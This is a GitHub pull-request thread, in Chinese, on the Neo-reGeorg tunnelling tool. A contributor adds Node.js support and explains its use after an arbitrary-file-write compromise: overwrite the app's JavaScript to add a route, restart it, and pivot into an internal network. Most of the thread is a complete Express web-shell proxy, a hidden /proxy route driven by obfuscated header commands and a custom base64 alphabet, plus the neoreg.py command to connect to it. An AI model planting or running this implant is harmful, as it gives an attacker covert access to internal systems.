Neo-reGeorg icon indicating copy to clipboard operation
Neo-reGeorg copied to clipboard

增加对nodejs的支持

Open purpleroc opened this issue 3 years ago • 13 comments

小众场景,刚好遇上了,对着reGeorg改了一个版本

purpleroc avatar Jun 01 '22 07:06 purpleroc

晚点我测试一下

L-codes avatar Jun 01 '22 09:06 L-codes

默认状态下,会有点卡。调整一下读写间隔可解决。

purpleroc avatar Jun 02 '22 02:06 purpleroc

我看了一下代码,这是 nodejs 直接运行创建一个http服务,想问问这个需求的场景是?因为我看能够创建一个新的 server 端口供服务的话,应该直接开一个socks会稳定且快

L-codes avatar Jun 02 '22 04:06 L-codes

这只是个demo而已,来自https://github.com/sensepost/reGeorg 的 js版本。 实际遇到的场景是:有文件写权限,可改node代码增加路由,不出网,可重新加载改动后的js。

purpleroc avatar Jun 02 '22 05:06 purpleroc

nodejs 加路由得重启应用吧?因为目前没见过有热加载路由 而且nodejs的web server不一样,代码也要修改吧? 是否有办法改成通用的?比如检测当前nodejs运行的web环境,自动选择加路由的方式等

L-codes avatar Jun 02 '22 07:06 L-codes

本质上就是需要改代码的。 情况是:任意文件写,可以写一个脚本,该脚本被某路由调用,进而得到任意命令执行。不过,环境苛刻,只能做个代理来横移。于是覆盖原本js文件,增加一个路由。命令执行 重启node。

是否有办法改成通用的?比如检测当前nodejs运行的web环境,自动选择加路由的方式等

首先得让这个js执行起来,让它执行起来大概率还是得手动改它代码。

purpleroc avatar Jun 02 '22 07:06 purpleroc

能否提供一个实际上 修改Js代码成功运行的demo代码示例?我对nodejs不熟悉 比如目前有一个nodejs 任意js代码执行,如何执行添加路由? 还是得通过命令执行,找到可以修改添加的文件位置(存在通用的方法吗)?然后重启nodejs ? 这样也许端口复用还会更好

L-codes avatar Jun 02 '22 09:06 L-codes

所以说,还是小众场景。 通用改routes的方式好像还真没,各框架都不相同,真遇到这种场景的,改一改也就能用了。 另外,如果可端口复用的话,那更语言没关系了,一切皆可端口复用了,也不用reGeorg了23333。

demo的话,比如用的最多的express框架https://github.com/expressjs/express:

const express = require('express')
const app = express()

//////// add proxy
var net = require('net');
var en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var de = "t3keOL5DZEuImxYRKV179ogB0fjvJ+rswP2dp8MFbanlNUcSqHhCWiGTzQ64yA/X";
var dataBuff = [];
var tcpconns = [];


function createOutboundTCP(res, host, port, mark)
{
    if(mark === null)
    {
		var tcpConn = new net.Socket();
		tcpConn.connect(port,host);
		tcpConn.on( 'connect', function() {
			tcpconns[mark] = tcpConn;
			dataBuff[mark] = new Array();

			res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
			res.end();
		});

		tcpConn.on('data', function(data) {
			dataBuff[mark].unshift(data);
		});

		tcpConn.on('error', function(error) {
			console.log("Error creating new Outbound: " + error.message);
			res.writeHead(200, {'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk' : 'B4LqkZ2Fb6xREzSBgV0TUHU36Bl9FEMxxsabiDhypWS'});
			res.end();
		});
    }
    else if(mark != null && tcpconns[mark] == null)
    {
            var tcpConn = new net.Socket();
            tcpConn.connect(port,host);

            tcpConn.on( 'connect', function() {
				tcpconns[mark] = tcpConn;
				dataBuff[mark] = new Array();
				res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
				res.end();
            });

			tcpConn.on('data', function(data) {
				dataBuff[mark].unshift(data);
			});

            tcpConn.on('error', function(error){
				console.log("Error creating new Outbound: "+error.message);
				res.writeHead(200, {'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk' : 'B4LqkZ2Fb6xREzSBgV0TUHU36Bl9FEMxxsabiDhypWS'});
				res.end();
            });
    }
    else
    {
        res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
        res.end();
    }
}

function readOutboundTCP(res, mark)
{
	var currData = dataBuff[mark].pop();
	if(currData != null)
	{
		res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy','Connection': 'Keep-Alive'});
		res.write(StrTr(Buffer.from(currData).toString('base64'), en, de));
		res.end();
	}
	else
	{
		console.log('NO DATA IN BUFFER');
		res.writeHead(200, {'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
		res.end();
	}

}

function disconnectOutboundTCP(res, mark, error)
{
	var tcpConn=tcpconns[mark];

	if(tcpConn!=null)
	{
		tcpConn.destroy();
		tcpConn=null;
		tcpconns[mark]=null;
		dataBuff[mark]=null;
	}

	if(error!=null)
	{
		var sessionid = 'Ur' + Math.random();
		res.writeHead(200, {'Set-Cookie': 'SESSIONID=' + sessionid + ';', "XXXX": error.message});
		res.end();
	 }
	 else
	 {
		res.writeHead(200, {'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
		res.end();
	 }

}
function deault_page(res) {
	var sessionid = 'Ur' + Math.random();
	res.writeHead(200, {'Set-Cookie': 'SESSIONID=' + sessionid + ';'});
	res.end("<!-- 4XGAWvTzOgoJqo8xf7oTSQfnpbwnxVilvENiU8KxTEnGLUqgdYHYxKi3_b30S -->");
}

function forwardData(req, res, mark)
{
	var fdata;

	req.on('data', function (chunk) {
		fdata = chunk;
	});

	req.on('end', function (){
		if(fdata != null)
		{
			var tcpSocket = tcpconns[mark];
			if(tcpSocket != null)
			{
				databaffuer = new Buffer.from(StrTr(fdata.toString(), de, en), 'base64');
				tcpSocket.write(databaffuer);
				res.writeHead(200,{'Xfulovtoate': 'WfmMwMDPzvZ0KTFcRgiy2PQWxZBCLIvwWnRQK15IGeRmz4LVR48O1OsKllNy'});
				res.end();
			}
			else
			{
				console.log('No Cookie session to forward');
				res.writeHead(200,{'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk':'dNjNxKHCAtzFfDd1INueNY9szIfKpBE1yDblp_EdoGKGjfT1U6k6GZ'});
				res.end();
			}
		}
		else
		{
			console.log('No data in forward');
			res.writeHead(200,{'Xfulovtoate':'orm5it0Qa3Q6wTbk8Le4uoevx1jNqhaIFzTnaM1GpH70','Vifk':'dNjNxKHCAtzFfDd1INueNY9szIfKpBE1yDblp_EdoGKGjfT1U6k6GZ'});
			res.end();
		}

	});
}

function StrTr(input, frm, to){
  var r = "";
  for(i=0; i<input.length; i++){
	index = frm.indexOf(input[i]);
	if(index != -1){
	  r += to[index];
	}else{
	  r += input[i];
	}
  }
  return r;
}


app.all('/proxy', function (req, res) {
	var old_header = req.headers;

	var headers = {};
	for(var item in old_header) {
		headers[item.toLowerCase()] = old_header[item];
	}

	res.statusCode = 200;
	var cmd = headers['pnzyudlbmcrzz'];
	if (cmd!=null) {
		mark = cmd.substring(0, 22);
		cmd = cmd.substring(22);
		if (cmd == "G47kt1MIrJ86ArGkXGI5PbFUK9Yxu6liHZomUl4") {
			try{
				var target_str = Buffer.from(StrTr(headers["hhnn"], de, en), 'base64').toString();
				var target_ary = target_str.split("|");
				var target = target_ary[0];
				port = parseInt(target_ary[1]);
				createOutboundTCP(res, target, port, mark);
			}catch(error){
				disconnectOutboundTCP(res, mark, error);
			}
		}else if(cmd == "gGTwmXQL642AMKwjTS6oVfE8XXQLbMXUcxqH4q3x"){
			try
			{
				disconnectOutboundTCP(res, mark, null);
			}
			catch(error)
			{
				disconnectOutboundTCP(res, mark, error);
			}
		}else if(cmd == "CQeLsL_KxRcfcdOUeXhN6cZdQ0JZrwuSiN4Qlkn"){
			try
			{
				readOutboundTCP(res, mark);
			}
			catch(error)
			{
				disconnectOutboundTCP(res, mark, error);
			}

		}else if(cmd == "6cO1KH8Ltx45AgM3nSmsnaDY"){
			try
			{
				forwardData(req, res, mark);
			}
			catch(error)
			{
				disconnectOutboundTCP(res, mark, error);
			}

		}
		else{
			deault_page(res);
		}

	}else{
		deault_page(res);
	}
})

app.listen(3000)

执行:

python3 neoreg.py -u http://127.0.0.1:3000/proxy -k abcdef --read-interval 100 --write-interval 100

对比起丢上去可用的那些,还是稍微有些改动成本的。

purpleroc avatar Jun 02 '22 10:06 purpleroc

不能端口复用场景有反代、负载均衡等,-r参数的内网重定向功能,能否也加进去?

L-codes avatar Jun 02 '22 10:06 L-codes

-r参数目前为止还没用到过 2333 后续再研究研究看咋实现吧

On 2 Jun 2022, at 18:44, L @.***> wrote:

 不能端口复用场景有反代、负载均衡等,-r参数的内网重定向功能,能否也加进去?

— Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you authored the thread.

purpleroc avatar Jun 02 '22 10:06 purpleroc

那你可以先研究研究,这是负载均衡时,内网重定向维持隧道的技术。这个PR后续稳定了再合并,后面会有一个v4的版本,参考 PR #60

L-codes avatar Jun 02 '22 10:06 L-codes

测了一下,转发功能OK了

purpleroc avatar Jun 07 '22 03:06 purpleroc

我待后续 v4 版本大改后修改这个 nodejs 的版本 PR,再合并,没那么快,耐心等待

L-codes avatar Jun 07 '22 03:06 L-codes

哈哈哈 v5版本先来了 可以根据里面的templates 进行修改此PR,或者编写一个转发器即可,可以配合 tunnel.go 使用

L-codes avatar Dec 25 '22 11:12 L-codes